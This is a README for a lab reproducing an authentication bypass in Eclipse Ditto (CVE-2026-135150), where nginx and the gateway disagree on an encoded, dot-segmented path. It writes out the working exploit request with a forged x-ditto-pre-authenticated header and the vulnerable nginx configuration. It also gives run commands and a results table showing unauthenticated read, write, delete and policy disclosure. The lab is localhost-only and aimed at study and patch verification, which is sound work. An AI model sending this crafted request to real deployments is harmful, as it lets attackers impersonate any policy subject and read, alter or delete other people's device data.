
CVE-2026-135150 Eclipse Ditto pre-auth header spoofing lab (nginx/gateway path confusion)

Local lab + proof of concept. Lab use only — this targets a deployment you own.
| Field | Value |
|---|---|
| CVE | CVE-2026-135150 (GHSA-f779-cv8j-4p59) |
| Product | Eclipse Ditto (gateway, Helm chart, nginx deployment files) |
| Affected | 1.1.0 – 3.9.9 (3.8 line: ≤ 3.8.15), Helm chart ≤ 4.9.0 |
| Fixed | 3.9.10 / 3.8.16 (fix commit 9dce5303bb), Helm chart 4.10.0 |
| Severity | Critical — CVSS 4.0 9.1 (AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N) |
| Weaknesses | CWE-290 (auth bypass by spoofing), CWE-436 (interpretation conflict) |
| Published | 2026-11-25 |
| Bypasses | CVE-2026-120753 (the 3.9.9 fix) |
With pre-authentication enabled (the default of the Helm chart and the Docker Compose
setup), an unauthenticated remote attacker can send a crafted path that the shipped
nginx routes through the unauthenticated /api/2/connections location while the gateway
resolves the very same raw path to the normal Things/Policies API. Because that location
neither authenticates nor clears the client-supplied x-ditto-pre-authenticated header,
the attacker picks any policy subject they like and reads, modifies, deletes Things and
Policies, and sends device messages — as that subject.
GET /api/2/things/lab.thing:1/x%2f..%2f..%2f..%2fconnections%2fy/..
x-ditto-pre-authenticated: nginx:victim
No credentials. Response: 200 OK plus the victim's thing.
cve-2026-135150-lab/
├── docker-compose.yml # Ditto 3.9.9 (vulnerable) or 3.9.10 (fixed)
├── nginx/ # byte-identical copies of deployment/docker/* from the tag
│ ├── nginx.conf # <- the vulnerable proxy config
│ ├── nginx.htpasswd # ditto:ditto
│ └── nginx-cors.conf, mime.types, index.html
├── seed/ # policy + thing used as the victim resource
├── seed.sh # create policy + thing, print baseline status codes
├── poc.py # PoC: builds the confusion path, prints evidence
├── poc.sh # curl wrapper, prints the request anatomy
└── upstream/ # raw upstream files + fix commit artifacts (reference)
Ports: nginx :8080 (public entry point), gateway :8081 (direct, for control tests).
cd ~/Projects/cve-2026-135150-lab
DITTO_VERSION=3.9.9 docker compose up -d
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:8080/health # 200 when ready
./seed.sh # 401 anon / 200 authed
python3 poc.py --thing lab.thing:1 --subject nginx:victim # exit 0 = bypass
Runs on Docker Desktop; ~7 containers, ~2.5 GB RAM. First start needs 2–3 minutes (Pekko cluster formation).
Both published ports are bound to 127.0.0.1 only — this lab runs an intentionally vulnerable, unauthenticated gateway, so it must not be reachable from the LAN.
Switch releases with:
./lab.sh vulnerable # Ditto 3.9.9 + the vulnerable nginx.conf
./lab.sh fixed # Ditto 3.9.10 + the fixed nginx.conf
./lab.sh status
./lab.sh down
Two parsers disagree about where a path segment ends. Both behaviours are documented nginx/gateway behaviour, not a bug in either alone — the bug is the combination.
1. nginx picks the location on the decoded, normalized path — then forwards the raw path.
The shipped config has three relevant properties:
merge_slashes off; # '//' is preserved as its own element
location /api/2/connections { # NO auth_basic, NO x-ditto-pre-authenticated set
proxy_pass http://gateway:8080; # forwards the RAW uri, not the normalized one
proxy_set_header X-Forwarded-User $remote_user;
}
location /api { # the authenticated location
auth_basic "Authentication required";
proxy_set_header x-ditto-pre-authenticated "nginx:${remote_user}";
}
proxy_pass http://gateway:8080; without a URI part passes the original request URI
through untouched. So nginx resolves %2f to / and collapses the dot segments to choose
a location, but the gateway receives the bytes the client sent.
2. The gateway does not treat %2f as a separator.
It splits on literal / only, so everything between real slashes stays one segment. Its
trailing /.. then pops that single (encoded) segment.
The same request from both sides:
| Component | Effective path | Location / route taken |
|---|---|---|
| nginx | /api/2/connections | location /api/2/connections — no auth, header passed through |
| gateway | /api/2/things/lab.thing:1/ | Things API — trusts the header, acts as nginx:victim |
/api/2/things/lab.thing:1 /x %2f..%2f..%2f..%2f connections %2fy /..
└──────── gateway target ──┘ └────── nginx-only descent to /api/2 ──────┘ └ final .. ┘
x is a throwaway segment... pop x, lab.thing:1, and things — nginx is back at /api/2.connections/y keeps nginx inside the unauthenticated location prefix./.. pops y for nginx (still /api/2/connections), and pops the whole
encoded segment for the gateway (back to /api/2/things/lab.thing:1/).The dot count is mechanical: depth(target after /api/2) + 1. poc.py computes it for any
resource, including /api/2/policies/<id> and nested thing paths.
This path is the one from the vulnerability report, reproduced verbatim in the fix's own test suite (
DotSegmentRejectingDirectiveTest.CONNECTIONS_CONFUSION_PATH).
| # | Request | Result |
|---|---|---|
| 1 | GET crafted path, no header | 401 — gateway rejects (nginx never challenged) |
| 2 | GET crafted path + nginx:victim | 200 + thing body, no credentials |
| 3 | GET crafted path + unknown subject | 404 (Ditto's not-found-or-denied) |
| 4 | PATCH crafted path + nginx:victim | 204 — attribute written |
| 5 | DELETE crafted path + nginx:victim | 204 — thing deleted |
| 6 | GET /api/2/policies/<id> crafted | 200 — full policy disclosure |
| 7 | GET /api (plain) + real creds + forged header | subject stays nginx:ditto — nginx overwrites it |
| 8 | GET /api (plain) direct to gateway :8081 + forged header | 200 — the Helm-Ingress variant, no path trick needed |
The proxy/gateway disagreement is visible from outside: the same crafted path gets a
gateway JSON 401 (no WWW-Authenticate challenge) instead of nginx's HTML challenge.
The gateway log names the effective subject per request:
Pre-authentication ... AuthorizationContext [type=pre-authenticated-http, authorizationSubjects=[nginx:victim]]
RequestResultLoggingDirective - StatusCode of request GET '/api/2/things/lab.thing:1/' was: 200
and the response carries the impersonated identity outright:
ditto-originator: nginx:victim
Plain /api requests with a forged header log authorizationSubjects=[nginx:ditto] —
proving the header is only attacker-controlled on the locations that do not set it.